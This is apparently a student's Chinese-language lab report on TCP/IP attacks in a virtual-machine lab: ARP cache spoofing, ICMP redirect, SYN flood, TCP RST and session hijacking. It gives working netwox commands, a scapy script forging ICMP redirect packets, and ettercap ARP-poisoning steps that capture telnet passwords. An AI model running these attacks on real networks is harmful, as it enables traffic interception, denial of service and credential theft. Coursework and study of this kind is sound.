实践四 TCP/IP网络协议攻击
1. 实验内容
1.1 TCP/IP协议栈重点协议
1.2 ARP缓存欺骗攻击
ARP欺骗的目的不是为了让被攻击主机无法访问互联网,而是让被攻击主机访问互联网时的数据经过 PC2 再由网关转发到Internet,所以这时被攻击主机PC1和网关收到的都是真实的MAC地址,是攻击主机PC2的MAC地址
1.3 ICMP重定向攻击
ICMP重定向攻击利用ICMP重定向消息,这是由路由器发送给IP数据包发送方的错误消息。当路由器认为某个数据包被错误地路由时,它会使用重定向消息告诉发送方应该使用不同的路由器发送到同一目的地的后续数据包。在这种攻击中,攻击者可能会误导发送方,使其数据包通过攻击者控制的路由器,从而可以进行中间人攻击。
1.4 SYN Flood攻击
SYN Flood攻击是一种基于TCP协议的网络攻击,旨在通过向目标服务器发送大量的TCP SYN连接请求来消耗其网络资源,使其无法正常服务。
在TCP三次握手协议中,当客户端向服务器发送一个SYN连接请求时,服务器会响应一个SYN-ACK确认请求,然后等待客户端发送一个ACK确认请求以建立连接。在SYN Flood攻击中,攻击者发送大量的SYN连接请求,但从不发送ACK确认请求,使服务器一直等待响应,从而占用服务器的资源,导致其他用户无法正常连接服务器。
1.5 TCP RST攻击
TCP RST攻击是一种网络攻击,其目的是使一个TCP连接中断。在一个TCP连接中,当一个设备想要结束连接时,它会向另一个设备发送一个TCP FIN分节,表示连接的结束。然而,如果一个设备发送了一个TCP RST分节,那么它将强制终止连接,并使另一个设备认为连接已经异常终止。
攻击者可以通过发送伪造的TCP RST分节来实现TCP RST攻击,从而中断合法的TCP连接。攻击者可以通过控制网络中的路由器或欺骗性地发送TCP分节来进行这种攻击。
TCP RST攻击可能会导致网络服务中断或减缓,因为合法的TCP连接被中断,需要重新建立连接。为了防止TCP RST攻击,可以使用防火墙和IDS/IPS系统来检测和过滤伪造的TCP RST分节。此外,使用加密协议(如SSL或TLS)也可以提高连接的安全性。
1.6 TCP会话劫持攻击
TCP会话劫持是一种网络攻击,攻击者通过截获和篡改网络中的TCP数据包,来控制双方通信的会话。攻击者可以通过这种方式窃取敏感信息、篡改数据或者执行其他恶意操作。
TCP会话劫持攻击通常涉及以下几个步骤:
1,攻击者截获通信双方之间的TCP数据包,这通常需要在攻击者和受害者之间插入一个中间节点。
2,攻击者修改这些数据包,将其中的数据进行篡改,删除或添加数据。攻击者可以修改数据包中的源地址和目的地址、端口号等信息,来使数据包看起来合法。
3,攻击者重新发送篡改后的数据包,让双方继续通信。
2. 实验过程
2.1 ARP缓存欺骗攻击
攻击者是kali,要用到netwox工具,目的是让kali监听到Seed和XP的通信
kali 200.4
XP 200.2
Seed 200.3
Seed ping XP 并获取XP的MAC
Kali运行
netwox 80 -e 00:0c:29:ab:d9:56 -i 192.168.200.2
00:0c:29:ab:d9:56 Kali的MAC
192.168.200.2 XP的IP
之后再查
能看到.2的mac已经被指向到kali了
还原也很简单,kali停止运行之前的指令,.2 ping .3,即可正确更新.3的arp缓存
2.2 ICMP重定向攻击
(上学期某个课做过了,直接用的之前的图)
在两个虚拟机上进行,一个是受害者(主机B),另一个是攻击者(主机A)。
设置操作系统接受ICMP重定向消息。
发起ICMP重定向攻击,将主机B的数据包重定向到主机A。
验证攻击是否成功。
在主机B设置接受重定向
A发送包(报错是因为忘了在脚本里面标注python了,Ubuntu用shell跑的)
可以发现在B主机成功捕获到重定向数据包,且源已经被伪装成172.20.10.1
编写脚本发送ICMP重定向包
#!/usr/bin/env python3
from scapy.all import *
# 配置攻击者和受害者的IP地址
victim_ip = "172.20.10.11"
gateway_ip = "172.20.10.1" # 假设网关地址
attacker_ip = "172.20.10.12"
# 创建ICMP重定向数据包
ip = IP(src=gateway_ip, dst=victim_ip)
icmp = ICMP(type=5, code=1) # type=5 表示重定向, code=1 表示主机重定向
redirect_packet = ip/icmp/IP(dst=victim_ip)/TCP()
# 发送数据包
send(redirect_packet)
2.3 SYN Flood攻击
kali先开wireshark进行监听,然后运行netwox 76 -i 192.168.200.3 -p 23
这里.3是要攻击的对象
可以看到大量其他服务器发过来的SYN包
2.4 TCP RST攻击
先在XP的系统服务里启用telnet功能
之后开启telnet服务
kali运行netwox 78 -i 192.168.200.2
.2是XP
然后在seedubuntu尝试telnet连接XP
连接瞬间关闭,攻击生效
kali停止运行后可以成功连接
2.5 TCP会话劫持攻击
kali指令ettercap -G打开攻击工具
kali重新ping一下.2和.3,更新host,不然hostlist里面没有要用的目标,然后点对号,然后左上角hostlist
seed设置目标1,xp设置目标2
MITM进arp缓存投毒
seed telnet登录xp,用户名是默认的,密码就是XP的登录密码(也可以自己在XP的admin用户组添加用户设置密码)
可以看到seed和xp的tcp连接
点开之后可以看到账号和密码
劫持成功
3. 问题及解决
跨网段的时候,即使能ping通,arp缓存里也只有网关
记得给kali添加一块网卡,建议桥接,用来安装各种工具包
2.1ARP缓存欺骗攻击是在同一个网段开三个虚拟机,不需要开honeywall
解释一下2.1为什么要再ping一次,不再ping一次就输入arp -a,会没有反应,Ubuntu9会默认没有进行更新,不会显示arp表
4. 感悟和体会
不必过于依赖教程视频,很多实验没必要再去开honeywall然后再开肉鸡,直接把原来准备的XP攻击者当肉鸡之一就行
5. 参考资料
- [ChatGPT 4](chat.openai.com)